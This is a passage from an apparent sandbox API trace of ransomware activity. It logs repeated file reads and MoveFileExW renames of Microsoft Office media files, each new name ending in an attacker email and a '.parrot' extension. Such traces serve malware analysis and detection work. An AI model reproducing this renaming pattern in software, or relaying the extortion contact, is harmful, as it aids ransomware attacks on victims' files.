hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.531] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.532] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdde, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdde, lpOverlapped=0x0) returned 1 [0163.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0163.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.536] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.540] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a4, lpOverlapped=0x0) returned 1 [0163.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0163.547] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.549] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5b4, lpOverlapped=0x0) returned 1 [0163.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0163.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.555] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.557] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c4, lpOverlapped=0x0) returned 1 [0163.557] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0163.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.561] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.563] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc3c, lpOverlapped=0x0) returned 1 [0163.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.567] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.568] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x61c, lpOverlapped=0x0) returned 1 [0163.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0163.572] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.573] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.574] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6ec, lpOverlapped=0x0) returned 1 [0163.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.578] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.580] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x56c, lpOverlapped=0x0) returned 1 [0163.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0163.584] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.584] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.585] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x822, lpOverlapped=0x0) returned 1 [0163.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.589] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.590] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x814, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x814, lpOverlapped=0x0) returned 1 [0163.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.642] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.642] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.643] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.644] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8da, lpOverlapped=0x0) returned 1 [0163.644] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.649] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.649] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.650] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.651] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8da, lpOverlapped=0x0) returned 1 [0163.651] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.657] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.657] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.659] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.659] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfbc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfbc, lpOverlapped=0x0) returned 1 [0163.659] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0163.663] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.663] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.665] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.665] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b28, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b28, lpOverlapped=0x0) returned 1 [0163.666] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0163.671] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.671] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, 